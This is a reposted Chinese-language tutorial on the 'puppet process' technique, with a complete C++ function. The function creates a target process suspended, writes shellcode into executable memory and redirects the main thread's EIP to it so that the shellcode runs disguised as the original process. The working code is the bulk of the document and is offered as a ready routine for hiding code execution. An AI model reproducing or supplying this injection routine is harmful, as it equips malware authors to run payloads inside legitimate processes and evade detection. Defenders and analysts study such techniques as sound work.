傀儡進程


實現原理:

  以掛起的方式打開目標進程,將ShellCode代碼寫入目標進程,並修改目標進程的執行流程,使其轉而執行ShellCode代碼,這樣,進程還是目標原本進程,但執行的操作卻替換成我們的ShellCode了。

實現過程:

  (1).調用CreateProcess以掛起的方式(CREATE_SUSPENDED)創建進程

  (2).調用VirtualAllocEx函數申請一個可讀、可寫、可執行的內存

  (3).調用WriteProcessMemory將Shellcode數據寫入剛申請的內存中

  (4).調用GetThreadContext,設置獲取標志為CONTEXT_FULL,即獲取新進程中所有線程的上下文

  (5).修改線程上下文中EIP的值為申請的內存的首地址,通過SetThreadContext函數設置回主線程中

  (6).調用ResumeThread恢復主線程

  注意:在使用GetThreadContext獲取線程上下文的時候,一定要對上下文結構中的ContextFlags成員賦值,指明要檢索線程上下文的哪些部分,否則會導致程序不能實現到想要的效果。此次ContextFlags賦值為CONTEXT_FULL,這表示獲取所有線程的上下文信息。

實現代碼:

    //************************************
    // 函數名:CHideDlg::ReplaceProcess
    // 返回類型:BOOL
    // 功能: 使用ShellCode替換目標進程
    // 參數1:char *pszFilePath        目標進程路徑
    // 參數2:PVOID pReplaceData    Shellcode首地址
    // 參數3:DWORD dwReplaceDataSize    Shellcode大小(字節)
    // 參數4:DWORD dwRunOffset        Shellcode中開始代碼相對首地址的偏移
    //************************************
BOOL CHideDlg::ReplaceProcess(char *pszFilePath, PVOID pReplaceData, DWORD dwReplaceDataSize, DWORD dwRunOffset)
{
    STARTUPINFOA si = { 0 };
    PROCESS_INFORMATION pi = { 0 };
    CONTEXT threadContext = { 0 };
    BOOL bRet = FALSE;
    ::RtlZeroMemory(&si, sizeof(si));
    ::RtlZeroMemory(&pi, sizeof(pi));
    ::RtlZeroMemory(&threadContext, sizeof(threadContext));
    si.cb = sizeof(si);
    // 創建進程並掛起主線程
    bRet = ::CreateProcessA(pszFilePath, NULL, NULL, NULL, FALSE, CREATE_SUSPENDED, NULL, NULL, &si, &pi);
    if (FALSE == bRet)
    {
        MessageBox(_T("創建掛起主線程失敗!"));
        return FALSE;
    }
    // 在進程中申請一塊內存
    LPVOID lpDestBaseAddr = ::VirtualAllocEx(pi.hProcess, NULL, dwReplaceDataSize, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
    if (NULL == lpDestBaseAddr)
    {
        MessageBox(_T("申請內存失敗!"));
        return FALSE;
    }
    // 寫入Shellcode數據
    bRet = ::WriteProcessMemory(pi.hProcess, lpDestBaseAddr, pReplaceData, dwReplaceDataSize, NULL);
    if (FALSE == bRet)
    {
        MessageBox(_T("寫入Shelcode失敗!"));
        return FALSE;
    }
    // 獲取線程上下文
    threadContext.ContextFlags = CONTEXT_FULL;
    bRet = ::GetThreadContext(pi.hThread, &threadContext);
    if (FALSE == bRet)
    {
        MessageBox(_T("獲取線程上下文失敗!"));
        return FALSE;
    }
    // 修改進程中PE文件的入口地址
    threadContext.Eip = (DWORD)lpDestBaseAddr + dwRunOffset;
    // 設置掛起進程的線程上下文
    bRet = ::SetThreadContext(pi.hThread, &threadContext);
    if (FALSE == bRet)
    {
        MessageBox(_T("設置掛起線程的上下文失敗!"));
        return FALSE;
    }
    // 恢復掛起進程的線程
    ::ResumeThread(pi.hThread);
    return TRUE;
}

 


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM